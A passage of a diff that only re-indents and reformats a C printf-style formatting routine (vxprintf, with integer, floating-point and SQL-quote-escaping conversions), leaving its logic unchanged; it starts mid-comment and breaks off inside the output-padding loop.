** 16 (the number of significant digits in a 64-bit float) '0' is
** always returned.
*/
-static int et_getdigit(LONGDOUBLE_TYPE *val, int *cnt){
- int digit;
- LONGDOUBLE_TYPE d;
- if ( (*cnt)++ >= 16 ) return '0';
- digit = (int)*val;
- d = digit;
- digit += '0';
- *val = (*val - d)*10.0;
- return digit;
+static int et_getdigit(LONGDOUBLE_TYPE * val, int *cnt)
+{
+ int digit;
+ LONGDOUBLE_TYPE d;
+ if ((*cnt)++ >= 16)
+ return '0';
+ digit = (int) *val;
+ d = digit;
+ digit += '0';
+ *val = (*val - d) * 10.0;
+ return digit;
}
#endif /* SWITCH_OMIT_FLOATING_POINT */
@@ -187,7 +190,7 @@
#ifndef SWITCH_PRINT_BUF_SIZE
# define SWITCH_PRINT_BUF_SIZE 350
#endif
-#define etBUFSIZE SWITCH_PRINT_BUF_SIZE /* Size of the output buffer */
+#define etBUFSIZE SWITCH_PRINT_BUF_SIZE /* Size of the output buffer */
/*
** The root program. All variations call this core.
@@ -216,510 +219,576 @@
** seems to make a big difference in determining how fast this beast
** will run.
*/
-static int vxprintf(
- void (*func)(void*,const char*,int), /* Consumer of text */
- void *arg, /* First argument to the consumer */
- int useExtended, /* Allow extended %-conversions */
- const char *fmt, /* Format string */
- va_list ap /* arguments */
-){
- int c; /* Next character in the format string */
- char *bufpt; /* Pointer to the conversion buffer */
- int precision; /* Precision of the current field */
- int length; /* Length of the field */
- int idx; /* A general purpose loop counter */
- int count; /* Total number of characters output */
- int width; /* Width of the current field */
- etByte flag_leftjustify; /* True if "-" flag is present */
- etByte flag_plussign; /* True if "+" flag is present */
- etByte flag_blanksign; /* True if " " flag is present */
- etByte flag_alternateform; /* True if "#" flag is present */
- etByte flag_altform2; /* True if "!" flag is present */
- etByte flag_zeropad; /* True if field width constant starts with zero */
- etByte flag_long; /* True if "l" flag is present */
- etByte flag_longlong; /* True if the "ll" flag is present */
- etByte done; /* Loop termination flag */
- uint64_t longvalue; /* Value for integer types */
- LONGDOUBLE_TYPE realvalue; /* Value for real types */
- const et_info *infop; /* Pointer to the appropriate info structure */
- char buf[etBUFSIZE]; /* Conversion buffer */
- char prefix; /* Prefix character. "+" or "-" or " " or '\0'. */
- etByte errorflag = 0; /* True if an error is encountered */
- etByte xtype = 0; /* Conversion paradigm */
- char *zExtra; /* Extra memory used for etTCLESCAPE conversions */
- static const char spaces[] =
- " ";
+static int vxprintf(void (*func) (void *, const char *, int), /* Consumer of text */
+ void *arg, /* First argument to the consumer */
+ int useExtended, /* Allow extended %-conversions */
+ const char *fmt, /* Format string */
+ va_list ap /* arguments */
+ )
+{
+ int c; /* Next character in the format string */
+ char *bufpt; /* Pointer to the conversion buffer */
+ int precision; /* Precision of the current field */
+ int length; /* Length of the field */
+ int idx; /* A general purpose loop counter */
+ int count; /* Total number of characters output */
+ int width; /* Width of the current field */
+ etByte flag_leftjustify; /* True if "-" flag is present */
+ etByte flag_plussign; /* True if "+" flag is present */
+ etByte flag_blanksign; /* True if " " flag is present */
+ etByte flag_alternateform; /* True if "#" flag is present */
+ etByte flag_altform2; /* True if "!" flag is present */
+ etByte flag_zeropad; /* True if field width constant starts with zero */
+ etByte flag_long; /* True if "l" flag is present */
+ etByte flag_longlong; /* True if the "ll" flag is present */
+ etByte done; /* Loop termination flag */
+ uint64_t longvalue; /* Value for integer types */
+ LONGDOUBLE_TYPE realvalue; /* Value for real types */
+ const et_info *infop; /* Pointer to the appropriate info structure */
+ char buf[etBUFSIZE]; /* Conversion buffer */
+ char prefix; /* Prefix character. "+" or "-" or " " or '\0'. */
+ etByte errorflag = 0; /* True if an error is encountered */
+ etByte xtype = 0; /* Conversion paradigm */
+ char *zExtra; /* Extra memory used for etTCLESCAPE conversions */
+ static const char spaces[] = " ";
#define etSPACESIZE (sizeof(spaces)-1)
#ifndef SWITCH_OMIT_FLOATING_POINT
- int exp, e2; /* exponent of real numbers */
- double rounder; /* Used for rounding floating point values */
- etByte flag_dp; /* True if decimal point should be shown */
- etByte flag_rtz; /* True if trailing zeros should be removed */
- etByte flag_exp; /* True to force display of the exponent */
- int nsd; /* Number of significant digits returned */
+ int exp, e2; /* exponent of real numbers */
+ double rounder; /* Used for rounding floating point values */
+ etByte flag_dp; /* True if decimal point should be shown */
+ etByte flag_rtz; /* True if trailing zeros should be removed */
+ etByte flag_exp; /* True to force display of the exponent */
+ int nsd; /* Number of significant digits returned */
#endif
- func(arg,"",0);
- count = length = 0;
- bufpt = 0;
- for(; (c=(*fmt))!=0; ++fmt){
- if ( c!='%' ){
- int amt;
- bufpt = (char *)fmt;
- amt = 1;
- while( (c=(*++fmt))!='%' && c!=0 ) amt++;
- (*func)(arg,bufpt,amt);
- count += amt;
- if ( c==0 ) break;
- }
- if ( (c=(*++fmt))==0 ){
- errorflag = 1;
- (*func)(arg,"%",1);
- count++;
- break;
- }
- /* Find out what flags are present */
- flag_leftjustify = flag_plussign = flag_blanksign =
- flag_alternateform = flag_altform2 = flag_zeropad = 0;
- done = 0;
- do{
- switch( c ){
- case '-': flag_leftjustify = 1; break;
- case '+': flag_plussign = 1; break;
- case ' ': flag_blanksign = 1; break;
- case '#': flag_alternateform = 1; break;
- case '!': flag_altform2 = 1; break;
- case '0': flag_zeropad = 1; break;
- default: done = 1; break;
- }
- }while( !done && (c=(*++fmt))!=0 );
- /* Get the field width */
- width = 0;
- if ( c=='*' ){
- width = va_arg(ap,int);
- if ( width<0 ){
- flag_leftjustify = 1;
- width = -width;
- }
- c = *++fmt;
- }else{
- while( c>='0' && c<='9' ){
- width = width*10 + c - '0';
- c = *++fmt;
- }
- }
- if ( width > etBUFSIZE-10 ){
- width = etBUFSIZE-10;
- }
- /* Get the precision */
- if ( c=='.' ){
- precision = 0;
- c = *++fmt;
- if ( c=='*' ){
- precision = va_arg(ap,int);
- if ( precision<0 ) precision = -precision;
- c = *++fmt;
- }else{
- while( c>='0' && c<='9' ){
- precision = precision*10 + c - '0';
- c = *++fmt;
- }
- }
- }else{
- precision = -1;
- }
- /* Get the conversion type modifier */
- if ( c=='l' ){
- flag_long = 1;
- c = *++fmt;
- if ( c=='l' ){
- flag_longlong = 1;
- c = *++fmt;
- }else{
- flag_longlong = 0;
- }
- }else{
- flag_long = flag_longlong = 0;
- }
- /* Fetch the info entry for the field */
- infop = 0;
- for(idx=0; idx<etNINFO; idx++){
- if ( c==fmtinfo[idx].fmttype ){
- infop = &fmtinfo[idx];
- if ( useExtended || (infop->flags & FLAG_INTERN)==0 ){
- xtype = infop->type;
- }else{
- return -1;
- }
- break;
- }
- }
- zExtra = 0;
- if ( infop==0 ){
- return -1;
- }
+ func(arg, "", 0);
+ count = length = 0;
+ bufpt = 0;
+ for (; (c = (*fmt)) != 0; ++fmt) {
+ if (c != '%') {
+ int amt;
+ bufpt = (char *) fmt;
+ amt = 1;
+ while ((c = (*++fmt)) != '%' && c != 0)
+ amt++;
+ (*func) (arg, bufpt, amt);
+ count += amt;
+ if (c == 0)
+ break;
+ }
+ if ((c = (*++fmt)) == 0) {
+ errorflag = 1;
+ (*func) (arg, "%", 1);
+ count++;
+ break;
+ }
+ /* Find out what flags are present */
+ flag_leftjustify = flag_plussign = flag_blanksign = flag_alternateform = flag_altform2 = flag_zeropad = 0;
+ done = 0;
+ do {
+ switch (c) {
+ case '-':
+ flag_leftjustify = 1;
+ break;
+ case '+':
+ flag_plussign = 1;
+ break;
+ case ' ':
+ flag_blanksign = 1;
+ break;
+ case '#':
+ flag_alternateform = 1;
+ break;
+ case '!':
+ flag_altform2 = 1;
+ break;
+ case '0':
+ flag_zeropad = 1;
+ break;
+ default:
+ done = 1;
+ break;
+ }
+ } while (!done && (c = (*++fmt)) != 0);
+ /* Get the field width */
+ width = 0;
+ if (c == '*') {
+ width = va_arg(ap, int);
+ if (width < 0) {
+ flag_leftjustify = 1;
+ width = -width;
+ }
+ c = *++fmt;
+ } else {
+ while (c >= '0' && c <= '9') {
+ width = width * 10 + c - '0';
+ c = *++fmt;
+ }
+ }
+ if (width > etBUFSIZE - 10) {
+ width = etBUFSIZE - 10;
+ }
+ /* Get the precision */
+ if (c == '.') {
+ precision = 0;
+ c = *++fmt;
+ if (c == '*') {
+ precision = va_arg(ap, int);
+ if (precision < 0)
+ precision = -precision;
+ c = *++fmt;
+ } else {
+ while (c >= '0' && c <= '9') {
+ precision = precision * 10 + c - '0';
+ c = *++fmt;
+ }
+ }
+ } else {
+ precision = -1;
+ }
+ /* Get the conversion type modifier */
+ if (c == 'l') {
+ flag_long = 1;
+ c = *++fmt;
+ if (c == 'l') {
+ flag_longlong = 1;
+ c = *++fmt;
+ } else {
+ flag_longlong = 0;
+ }
+ } else {
+ flag_long = flag_longlong = 0;
+ }
+ /* Fetch the info entry for the field */
+ infop = 0;
+ for (idx = 0; idx < etNINFO; idx++) {
+ if (c == fmtinfo[idx].fmttype) {
+ infop = &fmtinfo[idx];
+ if (useExtended || (infop->flags & FLAG_INTERN) == 0) {
+ xtype = infop->type;
+ } else {
+ return -1;
+ }
+ break;
+ }
+ }
+ zExtra = 0;
+ if (infop == 0) {
+ return -1;
+ }
- /* Limit the precision to prevent overflowing buf[] during conversion */
- if ( precision>etBUFSIZE-40 && (infop->flags & FLAG_STRING)==0 ){
- precision = etBUFSIZE-40;
- }
+ /* Limit the precision to prevent overflowing buf[] during conversion */
+ if (precision > etBUFSIZE - 40 && (infop->flags & FLAG_STRING) == 0) {
+ precision = etBUFSIZE - 40;
+ }
- /*
- ** At this point, variables are initialized as follows:
- **
- ** flag_alternateform TRUE if a '#' is present.
- ** flag_altform2 TRUE if a '!' is present.
- ** flag_plussign TRUE if a '+' is present.
- ** flag_leftjustify TRUE if a '-' is present or if the
- ** field width was negative.
- ** flag_zeropad TRUE if the width began with 0.
- ** flag_long TRUE if the letter 'l' (ell) prefixed
- ** the conversion character.
- ** flag_longlong TRUE if the letter 'll' (ell ell) prefixed
- ** the conversion character.
- ** flag_blanksign TRUE if a ' ' is present.
- ** width The specified field width. This is
- ** always non-negative. Zero is the default.
- ** precision The specified precision. The default
- ** is -1.
- ** xtype The class of the conversion.
- ** infop Pointer to the appropriate info struct.
- */
- switch( xtype ){
- case etPOINTER:
- flag_longlong = sizeof(char*)==sizeof(int64_t);
- flag_long = sizeof(char*)==sizeof(long int);
- /* Fall through into the next case */
- case etRADIX:
- if ( infop->flags & FLAG_SIGNED ){
- int64_t v;
- if ( flag_longlong ) v = va_arg(ap,int64_t);
- else if ( flag_long ) v = va_arg(ap,long int);
- else v = va_arg(ap,int);
- if ( v<0 ){
- longvalue = -v;
- prefix = '-';
- }else{
- longvalue = v;
- if ( flag_plussign ) prefix = '+';
- else if ( flag_blanksign ) prefix = ' ';
- else prefix = 0;
- }
- }else{
- if ( flag_longlong ) longvalue = va_arg(ap,uint64_t);
- else if ( flag_long ) longvalue = va_arg(ap,unsigned long int);
- else longvalue = va_arg(ap,unsigned int);
- prefix = 0;
- }
- if ( longvalue==0 ) flag_alternateform = 0;
- if ( flag_zeropad && precision<width-(prefix!=0) ){
- precision = width-(prefix!=0);
- }
- bufpt = &buf[etBUFSIZE-1];
- {
- register const char *cset; /* Use registers for speed */
- register int base;
- cset = &aDigits[infop->charset];
- base = infop->base;
- do{ /* Convert to ascii */
- *(--bufpt) = cset[longvalue%base];
- longvalue = longvalue/base;
- }while( longvalue>0 );
- }
- length = &buf[etBUFSIZE-1]-bufpt;
- for(idx=precision-length; idx>0; idx--){
- *(--bufpt) = '0'; /* Zero pad */
- }
- if ( prefix ) *(--bufpt) = prefix; /* Add sign */
- if ( flag_alternateform && infop->prefix ){ /* Add "0" or "0x" */
- const char *pre;
- char x;
- pre = &aPrefix[infop->prefix];
- if ( *bufpt!=pre[0] ){
- for(; (x=(*pre))!=0; pre++) *(--bufpt) = x;
- }
- }
- length = &buf[etBUFSIZE-1]-bufpt;
- break;
- case etFLOAT:
- case etEXP:
- case etGENERIC:
- realvalue = va_arg(ap,double);
+ /*
+ ** At this point, variables are initialized as follows:
+ **
+ ** flag_alternateform TRUE if a '#' is present.
+ ** flag_altform2 TRUE if a '!' is present.
+ ** flag_plussign TRUE if a '+' is present.
+ ** flag_leftjustify TRUE if a '-' is present or if the
+ ** field width was negative.
+ ** flag_zeropad TRUE if the width began with 0.
+ ** flag_long TRUE if the letter 'l' (ell) prefixed
+ ** the conversion character.
+ ** flag_longlong TRUE if the letter 'll' (ell ell) prefixed
+ ** the conversion character.
+ ** flag_blanksign TRUE if a ' ' is present.
+ ** width The specified field width. This is
+ ** always non-negative. Zero is the default.
+ ** precision The specified precision. The default
+ ** is -1.
+ ** xtype The class of the conversion.
+ ** infop Pointer to the appropriate info struct.
+ */
+ switch (xtype) {
+ case etPOINTER:
+ flag_longlong = sizeof(char *) == sizeof(int64_t);
+ flag_long = sizeof(char *) == sizeof(long int);
+ /* Fall through into the next case */
+ case etRADIX:
+ if (infop->flags & FLAG_SIGNED) {
+ int64_t v;
+ if (flag_longlong)
+ v = va_arg(ap, int64_t);
+ else if (flag_long)
+ v = va_arg(ap, long int);
+ else
+ v = va_arg(ap, int);
+ if (v < 0) {
+ longvalue = -v;
+ prefix = '-';
+ } else {
+ longvalue = v;
+ if (flag_plussign)
+ prefix = '+';
+ else if (flag_blanksign)
+ prefix = ' ';
+ else
+ prefix = 0;
+ }
+ } else {
+ if (flag_longlong)
+ longvalue = va_arg(ap, uint64_t);
+ else if (flag_long)
+ longvalue = va_arg(ap, unsigned long int);
+ else
+ longvalue = va_arg(ap, unsigned int);
+ prefix = 0;
+ }
+ if (longvalue == 0)
+ flag_alternateform = 0;
+ if (flag_zeropad && precision < width - (prefix != 0)) {
+ precision = width - (prefix != 0);
+ }
+ bufpt = &buf[etBUFSIZE - 1];
+ {
+ register const char *cset; /* Use registers for speed */
+ register int base;
+ cset = &aDigits[infop->charset];
+ base = infop->base;
+ do { /* Convert to ascii */
+ *(--bufpt) = cset[longvalue % base];
+ longvalue = longvalue / base;
+ } while (longvalue > 0);
+ }
+ length = &buf[etBUFSIZE - 1] - bufpt;
+ for (idx = precision - length; idx > 0; idx--) {
+ *(--bufpt) = '0'; /* Zero pad */
+ }
+ if (prefix)
+ *(--bufpt) = prefix; /* Add sign */
+ if (flag_alternateform && infop->prefix) { /* Add "0" or "0x" */
+ const char *pre;
+ char x;
+ pre = &aPrefix[infop->prefix];
+ if (*bufpt != pre[0]) {
+ for (; (x = (*pre)) != 0; pre++)
+ *(--bufpt) = x;
+ }
+ }
+ length = &buf[etBUFSIZE - 1] - bufpt;
+ break;
+ case etFLOAT:
+ case etEXP:
+ case etGENERIC:
+ realvalue = va_arg(ap, double);
#ifndef SWITCH_OMIT_FLOATING_POINT
- if ( precision<0 ) precision = 6; /* Set default precision */
- if ( precision>etBUFSIZE/2-10 ) precision = etBUFSIZE/2-10;
- if ( realvalue<0.0 ){
- realvalue = -realvalue;
- prefix = '-';
- }else{
- if ( flag_plussign ) prefix = '+';
- else if ( flag_blanksign ) prefix = ' ';
- else prefix = 0;
- }
- if ( xtype==etGENERIC && precision>0 ) precision--;
+ if (precision < 0)
+ precision = 6; /* Set default precision */
+ if (precision > etBUFSIZE / 2 - 10)
+ precision = etBUFSIZE / 2 - 10;
+ if (realvalue < 0.0) {
+ realvalue = -realvalue;
+ prefix = '-';
+ } else {
+ if (flag_plussign)
+ prefix = '+';
+ else if (flag_blanksign)
+ prefix = ' ';
+ else
+ prefix = 0;
+ }
+ if (xtype == etGENERIC && precision > 0)
+ precision--;
#if 0
- /* Rounding works like BSD when the constant 0.4999 is used. Wierd! */
- for(idx=precision, rounder=0.4999; idx>0; idx--, rounder*=0.1);
+ /* Rounding works like BSD when the constant 0.4999 is used. Wierd! */
+ for (idx = precision, rounder = 0.4999; idx > 0; idx--, rounder *= 0.1);
#else
- /* It makes more sense to use 0.5 */
- for(idx=precision, rounder=0.5; idx>0; idx--, rounder*=0.1){}
+ /* It makes more sense to use 0.5 */
+ for (idx = precision, rounder = 0.5; idx > 0; idx--, rounder *= 0.1) {
+ }
#endif
- if ( xtype==etFLOAT ) realvalue += rounder;
- /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */
- exp = 0;
- if ( realvalue>0.0 ){
- while( realvalue>=1e32 && exp<=350 ){ realvalue *= 1e-32; exp+=32; }
- while( realvalue>=1e8 && exp<=350 ){ realvalue *= 1e-8; exp+=8; }
- while( realvalue>=10.0 && exp<=350 ){ realvalue *= 0.1; exp++; }
- while( realvalue<1e-8 && exp>=-350 ){ realvalue *= 1e8; exp-=8; }
- while( realvalue<1.0 && exp>=-350 ){ realvalue *= 10.0; exp--; }
- if ( exp>350 || exp<-350 ){
- bufpt = "NaN";
- length = 3;
- break;
- }
- }
- bufpt = buf;
- /*
- ** If the field type is etGENERIC, then convert to either etEXP
- ** or etFLOAT, as appropriate.
- */
- flag_exp = xtype==etEXP;
- if ( xtype!=etFLOAT ){
- realvalue += rounder;
- if ( realvalue>=10.0 ){ realvalue *= 0.1; exp++; }
- }
- if ( xtype==etGENERIC ){
- flag_rtz = !flag_alternateform;
- if ( exp<-4 || exp>precision ){
- xtype = etEXP;
- }else{
- precision = precision - exp;
- xtype = etFLOAT;
- }
- }else{
- flag_rtz = 0;
- }
- if ( xtype==etEXP ){
- e2 = 0;
- }else{
- e2 = exp;
- }
- nsd = 0;
- flag_dp = (precision>0) | flag_alternateform | flag_altform2;
- /* The sign in front of the number */
- if ( prefix ){
- *(bufpt++) = prefix;
- }
- /* Digits prior to the decimal point */
- if ( e2<0 ){
- *(bufpt++) = '0';
- }else{
- for(; e2>=0; e2--){
- *(bufpt++) = (char)et_getdigit(&realvalue,&nsd);
- }
- }
- /* The decimal point */
- if ( flag_dp ){
- *(bufpt++) = '.';
- }
- /* "0" digits after the decimal point but before the first
- ** significant digit of the number */
- for(e2++; e2<0 && precision>0; precision--, e2++){
- *(bufpt++) = '0';
- }
- /* Significant digits after the decimal point */
- while( (precision--)>0 ){
- *(bufpt++) = (char)et_getdigit(&realvalue,&nsd);
- }
- /* Remove trailing zeros and the "." if no digits follow the "." */
- if ( flag_rtz && flag_dp ){
- while( bufpt[-1]=='0' ) *(--bufpt) = 0;
- assert( bufpt>buf );
- if ( bufpt[-1]=='.' ){
- if ( flag_altform2 ){
- *(bufpt++) = '0';
- }else{
- *(--bufpt) = 0;
- }
- }
- }
- /* Add the "eNNN" suffix */
- if ( flag_exp || (xtype==etEXP && exp) ){
- *(bufpt++) = aDigits[infop->charset];
- if ( exp<0 ){
- *(bufpt++) = '-'; exp = -exp;
- }else{
- *(bufpt++) = '+';
- }
- if ( exp>=100 ){
- *(bufpt++) = (char)(exp/100)+'0'; /* 100's digit */
- exp %= 100;
- }
- *(bufpt++) = (char)exp/10+'0'; /* 10's digit */
- *(bufpt++) = exp%10+'0'; /* 1's digit */
- }
- *bufpt = 0;
+ if (xtype == etFLOAT)
+ realvalue += rounder;
+ /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */
+ exp = 0;
+ if (realvalue > 0.0) {
+ while (realvalue >= 1e32 && exp <= 350) {
+ realvalue *= 1e-32;
+ exp += 32;
+ }
+ while (realvalue >= 1e8 && exp <= 350) {
+ realvalue *= 1e-8;
+ exp += 8;
+ }
+ while (realvalue >= 10.0 && exp <= 350) {
+ realvalue *= 0.1;
+ exp++;
+ }
+ while (realvalue < 1e-8 && exp >= -350) {
+ realvalue *= 1e8;
+ exp -= 8;
+ }
+ while (realvalue < 1.0 && exp >= -350) {
+ realvalue *= 10.0;
+ exp--;
+ }
+ if (exp > 350 || exp < -350) {
+ bufpt = "NaN";
+ length = 3;
+ break;
+ }
+ }
+ bufpt = buf;
+ /*
+ ** If the field type is etGENERIC, then convert to either etEXP
+ ** or etFLOAT, as appropriate.
+ */
+ flag_exp = xtype == etEXP;
+ if (xtype != etFLOAT) {
+ realvalue += rounder;
+ if (realvalue >= 10.0) {
+ realvalue *= 0.1;
+ exp++;
+ }
+ }
+ if (xtype == etGENERIC) {
+ flag_rtz = !flag_alternateform;
+ if (exp < -4 || exp > precision) {
+ xtype = etEXP;
+ } else {
+ precision = precision - exp;
+ xtype = etFLOAT;
+ }
+ } else {
+ flag_rtz = 0;
+ }
+ if (xtype == etEXP) {
+ e2 = 0;
+ } else {
+ e2 = exp;
+ }
+ nsd = 0;
+ flag_dp = (precision > 0) | flag_alternateform | flag_altform2;
+ /* The sign in front of the number */
+ if (prefix) {
+ *(bufpt++) = prefix;
+ }
+ /* Digits prior to the decimal point */
+ if (e2 < 0) {
+ *(bufpt++) = '0';
+ } else {
+ for (; e2 >= 0; e2--) {
+ *(bufpt++) = (char) et_getdigit(&realvalue, &nsd);
+ }
+ }
+ /* The decimal point */
+ if (flag_dp) {
+ *(bufpt++) = '.';
+ }
+ /* "0" digits after the decimal point but before the first
+ ** significant digit of the number */
+ for (e2++; e2 < 0 && precision > 0; precision--, e2++) {
+ *(bufpt++) = '0';
+ }
+ /* Significant digits after the decimal point */
+ while ((precision--) > 0) {
+ *(bufpt++) = (char) et_getdigit(&realvalue, &nsd);
+ }
+ /* Remove trailing zeros and the "." if no digits follow the "." */
+ if (flag_rtz && flag_dp) {
+ while (bufpt[-1] == '0')
+ *(--bufpt) = 0;
+ assert(bufpt > buf);
+ if (bufpt[-1] == '.') {
+ if (flag_altform2) {
+ *(bufpt++) = '0';
+ } else {
+ *(--bufpt) = 0;
+ }
+ }
+ }
+ /* Add the "eNNN" suffix */
+ if (flag_exp || (xtype == etEXP && exp)) {
+ *(bufpt++) = aDigits[infop->charset];
+ if (exp < 0) {
+ *(bufpt++) = '-';
+ exp = -exp;
+ } else {
+ *(bufpt++) = '+';
+ }
+ if (exp >= 100) {
+ *(bufpt++) = (char) (exp / 100) + '0'; /* 100's digit */
+ exp %= 100;
+ }
+ *(bufpt++) = (char) exp / 10 + '0'; /* 10's digit */
+ *(bufpt++) = exp % 10 + '0'; /* 1's digit */
+ }
+ *bufpt = 0;
- /* The converted number is in buf[] and zero terminated. Output it.
- ** Note that the number is in the usual order, not reversed as with
- ** integer conversions. */
- length = bufpt-buf;
- bufpt = buf;
+ /* The converted number is in buf[] and zero terminated. Output it.
+ ** Note that the number is in the usual order, not reversed as with
+ ** integer conversions. */
+ length = bufpt - buf;
+ bufpt = buf;
- /* Special case: Add leading zeros if the flag_zeropad flag is
- ** set and we are not left justified */
- if ( flag_zeropad && !flag_leftjustify && length < width){
- int i;
- int nPad = width - length;
- for(i=width; i>=nPad; i--){
- bufpt[i] = bufpt[i-nPad];
- }
- i = prefix!=0;
- while( nPad-- ) bufpt[i++] = '0';
- length = width;
- }
+ /* Special case: Add leading zeros if the flag_zeropad flag is
+ ** set and we are not left justified */
+ if (flag_zeropad && !flag_leftjustify && length < width) {
+ int i;
+ int nPad = width - length;
+ for (i = width; i >= nPad; i--) {
+ bufpt[i] = bufpt[i - nPad];
+ }
+ i = prefix != 0;
+ while (nPad--)
+ bufpt[i++] = '0';
+ length = width;
+ }
#endif
- break;
- case etSIZE:
- *(va_arg(ap,int*)) = count;
- length = width = 0;
- break;
- case etPERCENT:
- buf[0] = '%';
- bufpt = buf;
- length = 1;
- break;
- case etCHARLIT:
- case etCHARX:
- c = buf[0] = (char)(xtype==etCHARX ? va_arg(ap,int) : *++fmt);
- if ( precision>=0 ){
- for(idx=1; idx<precision; idx++) buf[idx] = (char)c;
- length = precision;
- }else{
- length =1;
- }
- bufpt = buf;
- break;
- case etSTRING:
- case etDYNSTRING:
- bufpt = va_arg(ap,char*);
- if ( bufpt==0 ){
- bufpt = "";
- }else if ( xtype==etDYNSTRING ){
- zExtra = bufpt;
- }
- length = strlen(bufpt);
- if ( precision>=0 && precision<length ) length = precision;
- break;
- case etSQLESCAPE:
- case etSQLESCAPE2:
- case etSQLESCAPE3: {
- int i, j, n, ch, isnull;
- int needQuote;
- char *escarg = va_arg(ap,char*);
- isnull = escarg==0;
- if ( isnull ) escarg = (xtype==etSQLESCAPE2 ? "NULL" : "(NULL)");
- for(i=n=0; (ch=escarg[i])!=0; i++){
- if ( ch=='\'' || (xtype==etSQLESCAPE3 && ch=='\\')) n++;
- }
- needQuote = !isnull && xtype==etSQLESCAPE2;
- n += i + 1 + needQuote*2;
- if ( n>etBUFSIZE ){
- bufpt = zExtra = malloc( n );
- if ( bufpt==0 ) return -1;
- }else{
- bufpt = buf;
- }
- j = 0;
- if ( needQuote ) bufpt[j++] = '\'';
- for(i=0; (ch=escarg[i])!=0; i++){
- bufpt[j++] = (char)ch;
- if ( ch=='\'' || ( xtype==etSQLESCAPE3 && ch=='\\')) bufpt[j++] = (char)ch;
- }
- if ( needQuote ) bufpt[j++] = '\'';
- bufpt[j] = 0;
- length = j;
- /* The precision is ignored on %q and %Q */
- /* if ( precision>=0 && precision<length ) length = precision; */
- break;
- }
+ break;
+ case etSIZE:
+ *(va_arg(ap, int *)) = count;
+ length = width = 0;
+ break;
+ case etPERCENT:
+ buf[0] = '%';
+ bufpt = buf;
+ length = 1;
+ break;
+ case etCHARLIT:
+ case etCHARX:
+ c = buf[0] = (char) (xtype == etCHARX ? va_arg(ap, int) : *++fmt);
+ if (precision >= 0) {
+ for (idx = 1; idx < precision; idx++)
+ buf[idx] = (char) c;
+ length = precision;
+ } else {
+ length = 1;
+ }
+ bufpt = buf;
+ break;
+ case etSTRING:
+ case etDYNSTRING:
+ bufpt = va_arg(ap, char *);
+ if (bufpt == 0) {
+ bufpt = "";
+ } else if (xtype == etDYNSTRING) {
+ zExtra = bufpt;
+ }
+ length = strlen(bufpt);
+ if (precision >= 0 && precision < length)
+ length = precision;
+ break;
+ case etSQLESCAPE:
+ case etSQLESCAPE2:
+ case etSQLESCAPE3:{
+ int i, j, n, ch, isnull;
+ int needQuote;
+ char *escarg = va_arg(ap, char *);
+ isnull = escarg == 0;
+ if (isnull)
+ escarg = (xtype == etSQLESCAPE2 ? "NULL" : "(NULL)");
+ for (i = n = 0; (ch = escarg[i]) != 0; i++) {
+ if (ch == '\'' || (xtype == etSQLESCAPE3 && ch == '\\'))
+ n++;
+ }
+ needQuote = !isnull && xtype == etSQLESCAPE2;
+ n += i + 1 + needQuote * 2;
+ if (n > etBUFSIZE) {
+ bufpt = zExtra = malloc(n);
+ if (bufpt == 0)
+ return -1;
+ } else {
+ bufpt = buf;
+ }
+ j = 0;
+ if (needQuote)
+ bufpt[j++] = '\'';
+ for (i = 0; (ch = escarg[i]) != 0; i++) {
+ bufpt[j++] = (char) ch;
+ if (ch == '\'' || (xtype == etSQLESCAPE3 && ch == '\\'))
+ bufpt[j++] = (char) ch;
+ }
+ if (needQuote)
+ bufpt[j++] = '\'';
+ bufpt[j] = 0;
+ length = j;
+ /* The precision is ignored on %q and %Q */
+ /* if ( precision>=0 && precision<length ) length = precision; */
+ break;
+ }
#ifdef __UNSUPPORTED__
- case etTOKEN: {
- Token *pToken = va_arg(ap, Token*);
- if ( pToken && pToken->z ){
- (*func)(arg, (char*)pToken->z, pToken->n);
- }
- length = width = 0;
- break;
- }
- case etSRCLIST: {
- SrcList *pSrc = va_arg(ap, SrcList*);
- int k = va_arg(ap, int);
- struct SrcList_item *pItem = &pSrc->a[k];
- assert( k>=0 && k<pSrc->nSrc );
- if ( pItem->zDatabase && pItem->zDatabase[0] ){
- (*func)(arg, pItem->zDatabase, strlen(pItem->zDatabase));
- (*func)(arg, ".", 1);
- }
- (*func)(arg, pItem->zName, strlen(pItem->zName));
- length = width = 0;
- break;
- }
+ case etTOKEN:{
+ Token *pToken = va_arg(ap, Token *);
+ if (pToken && pToken->z) {
+ (*func) (arg, (char *) pToken->z, pToken->n);
+ }
+ length = width = 0;
+ break;
+ }
+ case etSRCLIST:{
+ SrcList *pSrc = va_arg(ap, SrcList *);
+ int k = va_arg(ap, int);
+ struct SrcList_item *pItem = &pSrc->a[k];
+ assert(k >= 0 && k < pSrc->nSrc);
+ if (pItem->zDatabase && pItem->zDatabase[0]) {
+ (*func) (arg, pItem->zDatabase, strlen(pItem->zDatabase));
+ (*func) (arg, ".", 1);
+ }
+ (*func) (arg, pItem->zName, strlen(pItem->zName));
+ length = width = 0;
+ break;
+ }
#endif
- }/* End switch over the format type */
- /*
- ** The text of the conversion is pointed to by "bufpt" and is
- ** "length" characters long. The field width is "width". Do
- ** the output.
- */
- if ( !flag_leftjustify ){
- register int nspace;
- nspace = width-length;
- if ( nspace>0 ){
- count += nspace;
- while( nspace>=etSPACESIZE ){
- (*func)(arg,spaces,etSPACESIZE);
- nspace -= etSPACESIZE;
- }
- if ( nspace>0 ) (*func)(arg,spaces,nspace);
- }
- }
- if ( length>0 ){
- (*func)(arg,bufpt,length);
- count += length;
- }
- if ( flag_leftjustify ){
- register int nspace;
- nspace = width-length;
- if ( nspace>0 ){
- count += nspace;
- while( nspace>=etSPACESIZE ){
- (*func)(arg,spaces,etSPACESIZE);
- nspace -= etSPACESIZE;
- }
- if ( nspace>0 ) (*func)(arg,spaces,nspace);
- }
- }
- if ( zExtra ){
- free(zExtra);
- }
- }/* End for loop over the format string */
- return errorflag ? -1 : count;
-} /* End of function */
+ } /* End switch over the format type */
+ /*
+ ** The text of the conversion is pointed to by "bufpt" and is
+ ** "length" characters long. The field width is "width". Do
+ ** the output.
+ */
+ if (!flag_leftjustify) {
+ register int nspace;
+ nspace = width - length;
+ if (nspace > 0) {
+ count += nspace;
+ while (nspace >= etSPACESIZE) {
+ (*func) (arg, spaces, etSPACESIZE);
+ nspace -= etSPACESIZE;
+ }
+ if (nspace > 0)
+ (*func) (arg, spaces, nspace);
+ }
+ }
+ if (length > 0) {
+ (*func) (arg, bufpt, length);
+ count += length;
+ }
+ if (flag_leftjustify) {
+ register int nspace;
+ nspace = width - length;
+ if (nspace > 0) {
+ count += nspace;
